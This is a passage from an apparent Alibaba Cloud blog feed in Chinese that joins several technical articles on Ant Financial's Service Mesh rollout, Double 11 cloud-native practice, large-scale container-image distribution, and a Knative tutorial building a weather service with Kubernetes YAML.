          4. Mixer V2 方案则给了社区希望:将 Mixer 合并进 Sidecar,引入 web assembly 进行 Adapter 扩展,这是我们期待的 Mixer 落地的正确姿势,是 Mixer 的未来,是 Mixer 的『诗和远方“。然而社区望穿秋水,但Mixer V2 迟迟未能启动,长期处于 In Review 状态,远水解不了近渴。
        1. Pilot
          1. Pilot 是一个被 Mixer 掩盖的重灾区:长期以来大家的性能关注点都在 Mixer,表现糟糕而且问题明显的Mixer 一直在吸引火力。但是当选择放弃 Mixer(典型如官方在 Istio 新版本中提供的关闭 Mixer 的配置开关)之后,Pilot 的性能问题也就很快浮出水面。
          2. 我们实践下来发现 Pilot 目前主要有两大问题:1)无法支撑海量数据 2)每次变化都会触发全量推送,性能较差

        图片来源

        3.4 当下『路口』我们该怎么走?

        我们都非常笃信云原生就是未来,是我们的『诗和远方』,但是眼下的现实情况是一方面 Brownfield 应用当道,另一方面云原生的 Service Mesh 方案自身离生产级还有一定的距离,所以在当下这个『路口』我们该怎么走?

        图片来源

        我们给出的答案是:

         

        其实如前面所述,我们采用 Service Mesh 方案的初心是因为它的架构改变可以带来很多好处,如:服务治理与业务逻辑解耦、异构语言统一治理、金融级网络安全等,而且我们相信这些好处不管对 Greenfield 应用还是 Brownfield 应用都是非常需要的,甚至在现阶段对 Brownfield 应用产生的业务价值会远远大于 Greenfield 应用。

        所以从『务实』的角度来看,我们首先还是要探索出一套现阶段切实可行的方案,不仅要支持 Greenfield 应用,更要能支持 Brownfield 应用,从而可以真正把 Service Mesh 落到实处,产生业务价值。

        四、蚂蚁金服的产品实践

        4.1 发展历程和落地规模

        Service Mesh 在蚂蚁金服的发展历程,先后经历过如下几个阶段:

        • 技术预研 阶段:2017年底开始调研并探索 Service Mesh 技术,并确定为未来发展方向。
        • 技术探索 阶段:2018年初开始用 Golang 开发 Sidecar SOFAMosn ,年中开源基于 Istio 的 SOFAMesh 。
        • 小规模落地 阶段:2018年开始内部落地,第一批场景是替代 Java 语言之外的其他语言的客户端 SDK,之后开始内部小范围试点。
        • 规模落地 阶段:2019年上半年,作为蚂蚁金融级云原生架构升级的主要内容之一,逐渐铺开到蚂蚁金服内部的业务应用,并平稳支撑了618大促。
        • 对外输出 阶段:2019年9月,SOFAStack 双模微服务平台入驻阿里云开始公测,支持 SOFA, Dubbo 和 Spring Cloud 应用
        • 全面大规模落地 阶段:2019年下半年,在蚂蚁主站的大促核心应用中全面铺开,落地规模非常庞大,而且最终如『丝般顺滑』地支撑了双十一大促。

        在今年双十一,Service Mesh 覆盖了数百个交易核心链路应用,SOFAMosn 注入的容器数量达到了数十万(据信是目前全球最大的 Service Mesh 集群),双十一当天处理的 QPS 达到了几千万,平均处理响应时间<0.2 ms,SOFAMosn 本身在大促中间完成了数十次的业务无感升级,达到了我们的预期,初步完成了基础设施和业务的第一步的分离,见证了 Mesh 化之后基础设施的迭代速度。

        4.2 SOFAStack 双模微服务平台

        我们的服务网格产品名是 SOFAStack 双模微服务平台,这里的『双模微服务』是指传统微服务和 Service Mesh 双剑合璧,即『基于 SDK 的传统微服务』可以和『基于 Sidecar 的 Service Mesh 微服务』实现下列目标:

         •  互联互通:两个体系中的应用可以相互访问

         •  平滑迁移:应用可以在两个体系中迁移,对于调用该应用的其他应用,做到透明无感知

         •  异构演进:在互联互通和平滑迁移实现之后,我们就可以根据实际情况进行灵活的应用改造和架构演进

        在控制面上,我们引入了 Pilot 实现配置的下发(如服务路由规则),在服务发现上保留了独立的 SOFA 服务注册中心。

        在数据面上,我们使用了自研的 SOFAMosn,不仅支持 SOFA 应用,同时也支持 Dubbo 和 Spring Cloud 应用。

        在部署模式上,我们不仅支持容器/k8s,同时也支持虚拟机场景。

        4.3 大规模场景下的服务发现

        要在蚂蚁金服落地,首先一个需要考虑的就是如何支撑双十一这样的大规模场景。前面已经提到,目前 Pilot 本身在集群容量上比较有限,无法支撑海量数据,同时每次变化都会触发全量推送,无法应对大规模场景下的服务发现。

        所以,我们的方案是保留独立的 SOFA 服务注册中心来支持千万级的服务实例信息和秒级推送,业务应用通过直连 Sidecar 来实现服务注册和发现。

        4.4 流量劫持

        Service Mesh 中另一个重要的话题就是如何实现流量劫持:使得业务应用的 Inbound 和 Outbound 服务请求都能够经过 Sidecar 处理。

        区别于社区的 iptables 等流量劫持方案,我们的方案就显得比较简单直白了,以下图为例:

        1. 假设服务端运行在1.2.3.4这台机器上,监听20880端口,首先服务端会向自己的 Sidecar 发起服务注册请求,告知 Sidecar 需要注册的服务以及 IP + 端口(1.2.3.4:20880)
        2. 服务端的 Sidecar 会向 SOFA 服务注册中心发起服务注册请求,告知需要注册的服务以及 IP + 端口,不过这里需要注意的是注册上去的并不是业务应用的端口(20880),而是Sidecar自己监听的一个端口(例如:20881)
        3. 调用端向自己的 Sidecar 发起服务订阅请求,告知需要订阅的服务信息
        4. 调用端的Sidecar向调用端推送服务地址,这里需要注意的是推送的IP是本机,端口是调用端的 Sidecar 监听的端口(例如:20882)
        5. 调用端的 Sidecar 会向 SOFA 服务注册中心发起服务订阅请求,告知需要订阅的服务信息
        6. SOFA 服务注册中心向调用端的 Sidecar 推送服务地址(1.2.3.4:20881)

        经过上述的服务发现过程,流量劫持就显得非常自然了:

        1. 调用端拿到的『服务端』地址是127.0.0.1:20882,所以就会向这个地址发起服务调用
        2. 调用端的 Sidecar 接收到请求后,通过解析请求头,可以得知具体要调用的服务信息,然后获取之前从服务注册中心返回的地址后就可以发起真实的调用(1.2.3.4:20881)
        3. 服务端的 Sidecar 接收到请求后,经过一系列处理,最终会把请求发送给服务端(127.0.0.1:20880)

        可能会有人问,为啥不采用 iptables 的方案呢?主要的原因是一方面 iptables 在规则配置较多时,性能下滑严重,另一个更为重要的方面是它的管控性和可观测性不好,出了问题比较难排查。

        4.5 平滑迁移

        平滑迁移可能是整个方案中最为重要的一个环节了,前面也提到,在目前任何一家公司都存在着大量的 Brownfield 应用,它们有些可能承载着公司最有价值的业务,稍有闪失就会给公司带来损失,有些可能是非常核心的应用,稍有抖动就会造成故障,所以对于 Service Mesh 这样一个大的架构改造,平滑迁移是一个必选项,同时还需要支持可灰度和可回滚。

        得益于独立的服务注册中心,我们的平滑迁移方案也非常简单直白:

        1.初始状态

        以一个服务为例,初始有一个服务提供者,有一个服务调用者。

        2.透明迁移调用方

        在我们的方案中,对于先迁移调用方还是先迁移服务方没有任何要求,这里假设调用方希望先迁移到 Service Mesh 上,那么只要在调用方开启 Sidecar 的注入即可,服务方完全不感知调用方是否迁移了。所以调用方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        3.透明迁移服务方

        假设服务方希望先迁移到 Service Mesh 上,那么只要在服务方开启 Sidecar 的注入即可,调用方完全不感知服务方是否迁移了。所以服务方可以采用灰度的方式一台一台开启 Sidecar,如果有问题直接回滚即可。

        4.终态

        4.6 多协议支持

        考虑到目前大部分用户的使用场景,除了 SOFA 应用,我们同时也支持 Dubbo 和 Spring Cloud 应用接入SOFAStack 双模微服务平台,提供统一的服务治理。多协议支持采用通用的 x-protocol,未来也可以方便地支持更多协议。

        4.7 虚拟机支持

        在云原生架构下,Sidecar 借助于 k8s 的 webhook/operator 机制可以方便地实现注入、升级等运维操作。然而大量系统还没有跑在 k8s 上,所以我们通过 agent 的模式来管理 Sidecar 进程,从而可以使 Service Mesh 能够帮助老架构下的应用完成服务化改造,并支持新架构和老架构下服务的统一管理。

        4.8 产品易用性

        在产品易用性上我们也做了不少工作,比如可以直接在界面上方便地设置服务路由规则、服务限流等,再也不用手工写 yaml 了:

        也可以在界面上方便地查看服务拓扑和实时监控:

        4.9 阿里云公测中

        最后打一个小小的广告,SOFAStack 双模微服务平台现在在阿里云公测中,欢迎感兴趣的企业前来体验,https://www.aliyun.com/product/sofa

        五、展望未来

        5.1 拥抱云原生

        目前已经能非常清楚地看到整个行业在经历从云托管(Cloud Hosted)到云就绪(Cloud Ready)直至云原生(Cloud Native)的过程,所以前面也提到我们都非常笃信云原生就是未来,是我们的『诗和远方』,虽然眼下在落地过程中还存在一定的 gap,不过相信随着我们的持续投入,gap 会越来越小。

        另外值得一提的是我们拥抱云原生其根本还在于降低资源成本,提升开发效率,享受生态红利,所以云原生本身不是目的,而是手段,切不可本末倒置了。

        5.2 持续加强 Pilot 的能力

        为了更好地拥抱云原生,后续我们也会和 Istio 社区共建,持续加强 Pilot 的能力。

        而就在最近,在综合了过去一年多的思考和探索之后,蚂蚁金服和阿里集团的同事们共同提出了一套完整的解决方案,来融合控制平面和传统注册中心/配置中心,从而可以在保持协议标准化的同时,加强 Pilot 的能力,使其逐步向生产级靠拢。

        (更多细节可以参考小剑老师的蚂蚁金服 Service Mesh 深度实践一文,在此就不再赘述了)

        5.3 支持透明劫持

        前面提到在蚂蚁金服的实践中是基于服务注册中心来实现流量劫持的,该方案不管是在性能、管控能力还是可观测性方面都是不错的选择,不过对应用存在一定的侵入性(需要引入一个轻量的注册中心 SDK)。

        考虑到很多用户对性能要求没那么敏感,同时有大量遗留系统希望通过 Service Mesh 实现统一管控,所以后续我们也会支持透明劫持,同时在管控性和可观测性方面会做增强。

        六、结语

        基于『务实』的理念,Service Mesh 在蚂蚁金服经过了2年的沉淀,我们探索出了一套现阶段切实可行的方案并最终通过了双十一的考验。在这个过程中,我们也愈发体验到了 Service Mesh 带来的好处,例如 SOFAMosn 在大促中间完成了数十次的业务无感升级,见证了 Mesh 化之后基础设施的迭代速度。

        我们判断,未来 Service Mesh 会成为云原生下微服务的标准解决方案,所以我们也会持续加大对 Service Mesh 的投入,包括接下来蚂蚁金服将和阿里集团一起深度参与到 Istio 社区中去,和社区一起把 Istio 打造成 Service Mesh 的事实标准。

        最后,也欢迎志同道合的伙伴加入我们,一起参与建设激动人心的下一代云原生架构!

        ]]>
        重磅发布 | 《不一样的 双11 技术,阿里巴巴经济体云原生实践》电子书开放下载 Fri, 02 May 2025 09:39:04 +0800 2019 双11,订单创新峰值达到 54.4 万笔/秒,单日数据处理量达到 970PB,面对世界级流量洪峰,今年的阿里巴巴交出了一份亮眼的云原生技术成绩单,并实现了100% 核心应用以云原生的方式上云:

        • 双11 基础设施 100% 上云
        • 支撑 双11 在线业务容器规模达到 200 万
        • 采用神龙弹性裸金属服务器计算性价比提升 20% 


        这些数据背后是对一个个技术问题的反复尝试与实践。这一次,我们对云原生技术在 双11 的实践细节进行深挖,筛选了其中 22 篇有代表性的文章进行重新编排,整理成书《不一样的 双11 技术:阿里巴巴经济体云原生实践》旨在为行走在云原生之路上的开发者打开新思路、提供一些有益参考。

        点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》

        ban

        大咖寄语

        2.png
        3.png


        我们采访了上云总架构师毕玄,以下是他对于 双11 核心系统 100% 上云背后云原生的技术思考。


        与客户在同一架“飞机”上


        王坚院士曾在很多场合都和阿里的技术人员讲到:阿里云作为一家输出技术的公司,我们需要做到和我们的客户在同一架“飞机”上,而不仅仅是“造飞机”或看着“飞机”在空中飞,阿里经济体云化最重要的就是要做到让我们和客户在同一架“飞机”上。


        早在几年前,阿里巴巴经济体就开始借助阿里云的机器资源来支撑 双11 零点的高峰,云的弹性资源优势使得 双11 的机器资源投入成本下降超过 50% 以上,但在这些机器资源上部署的却是我们自己的技术体系,例如容器、中间件、数据库、缓存等,也就意味着我们和客户其实是在不同类型的“飞机”上,而且阿里巴巴经济体在的“飞机”是专为阿里巴巴定制打造的,外部客户是买不到的,这是一个典型的从 Hosting 演进到 Cloud Hosting 的阶段。为了切实做到和客户在同一架“飞机”上,在今年 3 月份,阿里云智能事业群 CTO 张建锋(花名:行癫)正式对外宣布未来一到两年,阿里巴巴百分之百的业务要跑在公共云上,成为“云上的阿里巴巴”。


        从 Cloud Hosting 到 Cloud Native


        阿里巴巴经济体云化是阿里技术发展史上继之前的分布式架构、异地多活后的又一轮巨大的架构升级,这次架构升级需要把我们从 Cloud Hosting 演进到 Cloud Native,Cloud Native 作为技术圈最火热的名词,不同的人的眼中有不同的定义,我们认为 CloudNative 带来的是一次系统构建方式的巨大变革,Cloud Native 是指业务系统的构建从基于自有、封闭的技术体系,走向基于开放、公共的 Cloud 的技术体系。


        在 Cloud Native 时代之前,多数公司随着业务的发展,或多或少都会打造出自有、封闭的技术体系,这一方面造成了巨大的投入,使得公司的技术人才力量没有完全专注的投入在业务上,另一方面也造成了这个行业人才流动的困难,因为知识体系的不同,每到一家新的公司几乎都是全新的一套,这个一定程度上影响了业务创新的速度,尽管很多的开源产品在一定程度上有助于解决这个问题,但还不足以体系化,而在 Cloud Native 时代,我们认为会有两个典型的特征:

        1. 对于业务系统端而言,在做系统设计的技术选型上,Cloud 提供了远比自有技术体系更为丰富了多的选择,这使得架构师可以更好的根据业务的状况、阶段等来进行更合理、合适的技术选型,最后表现出来的特征会是业务系统基于 Cloud 的技术体系来搭建,而越来越少的自建或自研,就像 Cloud Hosting 带来的越来越少的公司自己 Hosting 机器的变化一样;
        2. 对于云厂商而言,会提供越来越多开放、主流的技术栈的技术产品,从而让客户有更为丰富和自主的选择权,同时云厂商会去做到让这些技术产品的互通性更好,这样客户才能真正做到对于不同类型的业务选择不同的技术产品和体系。


        按照这样的思路,阿里巴巴经济体云化在走向 Cloud Native 的道路上,我们的原则是:

        1. 业务系统不再采用自有、封闭的技术产品,而是阿里云上对外提供哪些技术产品,我们就基于这些来重构、新建我们的业务系统;
        2. 阿里云上提供相应技术领域的主流技术产品,同时根据阿里业务的需求去新增、完善、改造相应的技术产品,并增强不同技术产品的互通性、开放性。


        按照这样的原则,随着阿里经济体云化项目的进展,阿里的业务系统就必将完成从基于自有、封闭的自有体系构建,进化到和阿里云的客户一样,基于阿里云上公共的技术产品的体系来构建,从而实现和客户在同一架“飞机”上。


        不一样的双11,云原生技术亮点

        在这个双11,我们在以下几个方面有了一些不错的进展:

        超大规模 Kubernetes 实践 

        2017 年下半年,阿里集团开始尝试使用 Kubernetes API 来改造内部自研平台,并开始了对应用交付链路的改造,以适配 Kubernetes。2018 年下半年,阿里集团和蚂蚁金服共同投入 Kubernetes 技术生态的研发,力求通过 Kubernetes 替换内部自研平台,实现了小规模的验证,支撑了当年部分 双11 的流量。2019 年初,阿里经济体开始进行全面上云改造,阿里集团通过重新设计 Kubernetes 落地方案,适配云化环境,改造落后运维习惯,在 618 前完成了云化机房的小规模验证。2019 年 618 之后,阿里集团内部开始全面推动 Kubernetes 落地,在大促之前完成了全部核心应用运行在 Kubernetes 的目标,并完美支撑了 双11 大考。


        阿里巴巴超大规模 Kubernetes 落地,经受了双11大促真实场景的考验, 单集群能支撑万级别 Node、十万级别 POD 的规模。我们推进了三个方面改造:面向终态的改造;自愈能力改造;不可变基础设施改造。相比原有传统的运维链路,扩容效率提升了 50%,集群节点在线率达到了 99.9% 以上。

        阿里巴巴云原生化的最佳组合:Kubernetes+容器+神龙

        今年 双11,我们通过 K8s+容器+神龙的最佳组合实现了阿里核心系统 100%以云原生的方式上云,完美支撑了 54.4w 峰值流量以及 2684 亿的成交量。基于 0 虚拟化开销的神龙裸金属,通过使用行业标准的容器与调度、编排、管理技术,推动经济体云原生技术全面升级。容器性能提升 10%、神龙节点可调度率达到 99% 以上、容器稳定性与在线率全面提升。

        Service Mesh 超大规模落地

        阿里巴巴在 双11 的部分电商核心应用上落地了完整的 Service Mesh 解决方案,借助 双11 的严苛业务场景完成了规模化落地前的初步技术验证;蚂蚁金服也实现了 Service Mesh 的大规模落地。Service Mesh 所带来的变化体现于:服务治理手段从过去的框架思维向平台思维转变;技术平台的建设从面向单一编程语言向面向多编程语言转变。

        Service Mesh 创造了一次以开发者为中心去打造面向未来的分布式应用开发平台的机会,给其他技术产品创造了重新思考在云原生时代发展的机会,给技术基础设施如何与业务基础技术更好地协同提供了一次探索机会,并为探索面向未来的异地多活、应用永远在线的整体技术解决方案打开了一扇大门。

        点击下载《不一样的 双11 技术:阿里巴巴经济体云原生实践》

        期待《不一样的 双11:阿里巴巴经济体云原生实践》会给你带来新的灵感。

        双11 同款云产品

        1.容器服务 Kubernetes 版(ACK)

        2.容器镜像服务 Container Registry (ACR)

        3.函数计算 2.0(事件驱动的全托管 Serverless 计算服务)

        4.企业级分布式应用服务 EDAS(应用托管 + 微服务治理)

        5.Serverless 应用引擎(阿里云首个面向应用的 Serverless 产品)

        6.应用实时监控服务 ARMS(全栈式的性能监控)

        7.链路追踪(云上华佗,成本是自建链路追踪系统的1/5或更少)

        8.应用高可用服务AHAS(限流降级神器)

        9.性能测试 PTS(双11同款性能压测工具)

        10.消息队列 for Apache RocketMQ(服务于阿里集团 13 年,覆盖全集团所有业务)

        11.消息队列 for Apache Kafka(更专业、更可靠、更安全)

        12.全局事务服务 GTS(传统分布式事务10倍性能)

        “阿里巴巴云原生微信公众号(ID:Alicloudnative)关注微服务、Serverless、容器、Service Mesh等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的技术公众号。”

        ]]>
        云原生应用万节点分钟级分发协同实践 Fri, 02 May 2025 09:39:04 +0800 作者:谢于宁、罗晶、邓隽

        引言

        2019 年天猫双11,阿里巴巴核心系统首次实现 100% 上云。面对全球最大的交易洪峰,阿里云扛住了每秒 54.4 万笔的交易峰值,这是“云原生”与“天猫全球狂欢节”的一次完美联名。

        image


        (图为 2019 年天猫双11 成交额)

        容器镜像服务作为阿里巴巴经济体云原生领域的重要基础设施之一,早在双十一备战期间就已面临大规模分发需求。为了更好地支持这一需求,产品提前进行规划及迭代更新,全面提升了大规模分发场景下的性能、可观测性和稳定性。在新的双十一来临前,容器镜像服务新增了数 PB 的镜像数据,月均镜像拉取达数亿次。同时产品提供了云原生应用交付链等功能,全面覆盖阿里经济体及云用户在云原生时代的使用需求。
        本文将介绍容器镜像服务如何通过产品能力提升应对云原生应用万节点分发场景下的新发展和新挑战。

        新发展和新挑战

        随着云原生技术的迅速普及,Kubernetes 已经成为事实上应用容器化平台的标准,成为了云原生领域的一等公民。它以一种声明式的容器编排与管理体系,让软件交付变得越来越标准化。Kubernetes 提供了统一模式的 API,能以 YAML 格式的文件定义 Kubernetes 集群内的资源。这一些 YAML 格式的资源定义使得 Kubernetes 能轻松被上下游系统所集成,完成一系列原本需要用非标准化脚本、人工来完成的操作。同时社区根据应用交付场景及需求,在原生 YAML 格式的资源定义文件之外衍生出了更多系列的云原生应用交付标准,例如 Helm Chart、Opeartor、Open Application Model 等。

        image


        (图为云原生应用交付标准演进)

        除了云原生应用交付标准推陈出新,用户对交付方式也提出了更高的要求。越来越多的用户期望能以流程化、自动化、更安全的方式交付云原生应用,因此万节点分钟级分发的场景已经演化成万节点分钟级多环节协同分发。再加上全球化业务发展,意味着在分钟级时间消耗内除了完成各个环节外,还需要完成全球化分发,这对支撑云生应用分发的平台提出了更高的要求。

        新实践

        通过控制容器镜像大小、采用 P2P 分发镜像层、优化 Registry 服务端等方式,我们极大优化了大规模分发的性能,最终达成了万节点分钟级分发的目标:

        • 优化容器镜像大小,降低镜像传输成本
          制作基础镜像,将使用频繁的应用或环境制作成基础镜像复用,尽可能减少镜像的层数,控制每次变更层数;采用多阶段镜像构建,将镜像制作过程中的中间产物与最终产物分离,形成最精简的应用镜像
        • 优化服务端处理性能,提高请求响应速率
          服务端通过识别热点镜像,采用热点数据缓存等多种方式应对大规模镜像 Manifest 并发拉取
        • 优化客户端容器镜像层下载方式,减少镜像传输时间
          客户端使用蜻蜓下载容器镜像, 基于 P2P 方式大幅减少镜像 Layer 下载时间

        image


        (图为镜像大规模分发的优化策略)

        为了让拥有同样需求的企业客户能够享受到如上一致的分发能力和体验,容器镜像服务产品在 2019 年 3 月正式推出了容器镜像服务企业版(ACR Enterprise Edition)。容器镜像服务企业版提供了企业级云原生资产托管能力以及云原生应用全球化同步、大规模分发能力,适合有着高安全需求、多地域业务部署、拥有大规模集群节点的企业级容器客户。除此之外,容器镜像服务企业版还在云原生资产托管、交付、分发等几个方面进一步提升云原生应用万节点分钟级分发协同体验。

        云原生应用托管

        • 在应用交付物层面,容器镜像服务企业版目前支持容器镜像、Helm Chart 两类云原生应用资产的全生命周期管理。
        • 在访问安全层面,产品提供了独立网络访问控制功能,可以细粒度控制公网及 VPC 网络的访问策略,仅允许符合策略的来源方访问资产,进一步保障云原生资产的访问安全。
        • 在访问体验层面,产品提供容器集群透明拉取插件,支持容器镜像透明拉取,保障业务在弹性场景极速拉取镜像不因凭证配置有误导致业务更新或扩容异常。

          image

        (图为容器镜像服务企业版支持云原生应用交付)

        云原生应用交付

        云原生应用生产环节,用户可以直接上传托管容器镜像、Helm Chart 等云原生资产;也可以通过构建功能自动从源代码(Github、阿里云 Code、GitLab 等来源)智能构建成容器镜像。同时为了解决流程化、自动化、更安全的方式交付云原生应用这一需求,容器镜像服务企业版引入了云原生应用交付链功能。云原生应用交付链以云原生应用托管为始,以云原生应用分发为终,全链路可观测、可追踪、可自主设置。可以实现一次应用变更,全球化多场景自动交付,从流程层面极大地提升了云原生应用万节点分发的效率及安全性。

        image


        (图为控制台创建云原生应用交付链)

        云原生应用交付环节,支持自动发起静态安全扫描并自定义配置安全阻断策略。一旦识别到静态应用中存在高危漏洞后,可自动阻断后续部署链路。用户可基于漏洞报告中的修复建议,更新优化构建成新的镜像版本,再次发起交付。

        云原生应用分发

        云原生应用分发环节,当前置环节完成无阻断后,云原生应用正式进入全球化分发及大规模分发环节。为了保障万节点分钟级分发协同完成,容器镜像服务联合容器服务、弹性容器实例等云产品提供了端到端的极致分发体验。针对全球化分发,由于基于细粒度同步策略调度、同步链路优化等优化手段,云原生应用的全球同步效率相比手动同步提升了 7 倍。

        image


        (图为云原生应用的全球化分发)

        在 P2P 大规模分发方面,产品针对云环境多次优化基于 Dragonfly 的分发方案,最终通过多个创新技术解决了大规模文件下载以及跨网络隔离等场景下各种文件分发难题,大幅提高大规模容器镜像分发能力。平均镜像大规模分发效率比普通方式提高数倍,适用于容器集群单集群节点数达 100 及以上的场景。

        image


        (图为基于 P2P 的分发流程示意)

        除了 P2P 大规模分发手段外,为了更好地满足特定场景下的大规模分发需求,产品还支持基于镜像快照的大规模分发方式。基于镜像快照的分发方式,可避免或减少镜像层的下载,极大提高弹性容器实例创建速度。在容器集群(ASK)及弹性容器实例(ECI)的联合使用场景下,产品可以支持 500 节点秒级镜像拉取,实现业务突发场景下极速扩容。

        image


        (图为基于镜像快照的分发流程示意)

        新平台

        稳定性层面的具体提升及优化工作从监控报警、容错容灾、依赖治理、限流降级、容量规划等几个方面展开。

        • 在依赖治理方面,平台对云原生应用交付链中的相关重点环节及外部依赖进行统一管理,提升交付链整体交付能力,帮助用户识别热点仓库及追踪交付链执行结果;
        • 在限流降级方面,平台分析识别云原生应用分发核心环节的主次业务功能,优先保障主要业务逻辑完成,次要业务逻辑可降级延后处理;
        • 在容量规划方面,平台根据上下游业务变化情况,对资源进行按需扩容,确保云原生应用正常交付完成。

          image

        (图为平台的稳定性保障策略)

        生态集成

        基于平台提供的丰富的集成能力,用户还可以将容器镜像服务企业版作为云原生资产托管及分发的基础设施,为他们的用户提供云原生应用分发能力。其中,容器镜像服务企业版支撑阿里云云市场构建容器应用市场,支撑容器应用市场的容器商品托管及商业化分发,构建云上云原生生态闭环。ISV 服务商,例如 Intel、Fortinet、奥哲,将容器化商品以容器镜像或者 Helm Chart 的形式在云市场快速上架,实现标准化交付、商业化变现。市场客户也可以从容器应用市场获取到优质的阿里云官方及 ISV 容器镜像,快速部署至容器服务容器集群,享受到阿里云丰富的云原生生态。

        image


        (图为容器应用市场流程示意)

        写在最后

        从支持阿里巴巴 双11 大规模分发需求,到全面覆盖阿里经济体及云用户的云原生资产托管及分发需求,再到支撑构建云上容器生态闭环,阿里云容器镜像服务已成为了云原生时代的核心基础设施之一,释放云原生价值的重要加速器。容器镜像服务也将持续为用户带来更加优异的云原生应用分发功能、性能及体验。

        ]]>
        Knative 实战:基于 Knative Serverless 技术实现天气服务 Fri, 02 May 2025 09:39:04 +0800 提到天气预报服务,我们第一反应是很简单的一个服务啊,目前网上有大把的天气预报 API 可以直接使用,有必要去使用 Knative 搞一套吗?杀鸡用牛刀?先不要着急,我们先看一下实际的几个场景需求:

        • 场景需求1:根据当地历年的天气信息,预测明年大致的高温到来的时间
        • 场景需求2:近来天气多变,如果明天下雨,能否在早上上班前,给我一个带伞提醒通知
        • 场景需求3:领导发话:最近经济不景气,公司财务紧张,那个服务器,你们提供天气、路况等服务的那几个小程序一起用吧,但要保证正常提供服务。

        从上面的需求,我们其实发现,要做好一个天气预报的服务,也面临内忧(资源紧缺)外患(需求增加),并不是那么简单的。不过现在更不要着急,我们可以使用 Knative 帮你解决上面的问题。

        关键词:天气查询、表格存储,通道服务,事件通知

        场景需求

        首先我们来描述一下我们要做的天气服务场景需求:

        1. 提供对外的天气预报 RESTful API

        • 根据城市、日期查询(支持未来 3 天)国内城市天气信息
        • 不限制查询次数,支持较大并发查询(1000)

        2. 天气订阅提醒

        • 订阅国内城市天气信息,根据实际订阅城市区域,提醒明天下雨带伞
        • 使用钉钉进行通知

        整体架构

        有了需求,那我们就开始如何基于 Knative 实现天气服务。我们先看一下整体架构:
        1

        • 通过 CronJob 事件源,每隔 3个 小时定时发送定时事件,将国内城市未来3天的天气信息,存储更新到表格存储
        • 提供 RESTful API 查询天气信息
        • 通过表格存储提供的通道服务,实现 TableStore 事件源
        • 通过 Borker/Trigger 事件驱动模型,订阅目标城市天气信息
        • 根据订阅收到的天气信息进行钉钉消息通知。如明天下雨,提示带伞等

        提供对外的天气预报 RESTful API

        对接高德开放平台天气预报 API

        查询天气的 API 有很多,这里我们选择高德开放平台提供的天气查询 API,使用简单、服务稳定,并且该天气预报 API 每天提供 100000 免费的调用量,支持国内 3500 多个区域的天气信息查询。另外高德开放平台,除了天气预报,还可以提供 ip 定位、搜索服务、路径规划等,感兴趣的也可以研究一下玩法。
        登录高德开放平台: https://lbs.amap.com, 创建应用,获取 Key 即可:

        2

        获取Key之后,可以直接通过url访问:https://restapi.amap.com/v3/weather/weatherInfo?city=110101&extensions=all&key=<用户key>,返回天气信息数据如下:

        {
            "status":"1",
            "count":"1",
            "info":"OK",
            "infocode":"10000",
            "forecasts":[
                {
                    "city":"杭州市",
                    "adcode":"330100",
                    "province":"浙江",
                    "reporttime":"2019-09-24 20:49:27",
                    "casts":[
                        {
                            "date":"2019-09-24",
                            "week":"2",
                            "dayweather":"晴",
                            "nightweather":"多云",
                            "daytemp":"29",
                            "nighttemp":"17",
                            "daywind":"无风向",
                            "nightwind":"无风向",
                            "daypower":"≤3",
                            "nightpower":"≤3"
                        },
                        ...
                    ]
                }
            ]
        }

        定时同步并更新天气信息

        同步并更新天气信息

        该功能主要实现对接高德开放平台天气预报 API, 获取天气预报信息,同时对接阿里云表格存储服务(TableStore),用于天气预报数据存储。具体操作如下:

        • 接收 CloudEvent 定时事件
        • 查询各个区域天气信息
        • 将天气信息存储或者更新到表格存储

        在 Knative 中,我们可以直接创建服务如下:

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: weather-store
          namespace: default
        spec:
          template:
            metadata:
              labels:
                app: weather-store
              annotations:
                autoscaling.knative.dev/maxScale: "20"
                autoscaling.knative.dev/target: "100"
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/weather-store:1.2
                  ports:
                    - name: http1
                      containerPort: 8080
                  env:
                  - name: OTS_TEST_ENDPOINT
                    value: http://xxx.cn-hangzhou.ots.aliyuncs.com
                  - name: TABLE_NAME
                    value: weather
                  - name: OTS_TEST_INSTANCENAME
                    value: ${xxx} 
                  - name: OTS_TEST_KEYID
                    value: ${yyy}
                  - name: OTS_TEST_SECRET
                    value: ${Pxxx}
                  - name: WEATHER_API_KEY
                    value: xxx

        关于服务具体实现参见 GitHub 源代码:https://github.com/knative-sample/weather-store

        创建定时事件

        这里或许有疑问:为什么不在服务中直接进行定时轮询,非要通过 Knative Eventing 搞一个定时事件触发执行调用?那我们要说明一下,Serverless 时代下就该这样玩-按需使用。千万不要在服务中按照传统的方式空跑这些定时任务,亲,这是在持续浪费计算资源。
        言归正传,下面我们使用 Knative Eventing 自带的定时任务数据源(CronJobSource),触发定时同步事件。
        创建 CronJobSource 资源,实现每 3 个小时定时触发同步天气服务(weather-store),WeatherCronJob.yaml 如下:

        apiVersion: sources.eventing.knative.dev/v1alpha1
        kind: CronJobSource
        metadata:
          name: weather-cronjob
        spec:
          schedule: "0 */3 * * *"
          data: '{"message": "sync"}'
          sink:
            apiVersion: serving.knative.dev/v1alpha1
            kind: Service
            name: weather-store

        执行命令:

        kubectl apply -f WeatherCronJob.yaml

        现在我们登录阿里云表格存储服务,可以看到天气预报数据已经按照城市、日期的格式同步进来了。
        3

        提供天气预报查询 RESTful API

        有了这些天气数据,可以随心所欲的提供属于我们自己的天气预报服务了(感觉像是承包了一块地,我们来当地主),这里没什么难点,从表格存储中查询对应的天气数据,按照返回的数据格式进行封装即可。
        在 Knative 中,我们可以部署 RESTful API 服务如下:

        apiVersion: serving.knative.dev/v1alpha1
        kind: Service
        metadata:
          name: weather-service
          namespace: default
        spec:
          template:
            metadata:
              labels:
                app: weather-service
              annotations:
                autoscaling.knative.dev/maxScale: "20"
                autoscaling.knative.dev/target: "100"
            spec:
              containers:
                - image: registry.cn-hangzhou.aliyuncs.com/knative-sample/weather-service:1.1
                  ports:
                    - name: http1
                      containerPort: 8080
                  env:
                  - name: OTS_TEST_ENDPOINT
                    value: http://xxx.cn-hangzhou.ots.aliyuncs.com
                  - name: TABLE_NAME
                    value: weather
                  - name: OTS_TEST_INSTANCENAME
                    value: ${xxx} 
                  - name: OTS_TEST_KEYID
                    value: ${yyy}
                  - name: OTS_TEST_SECRET
                    value: ${Pxxx}

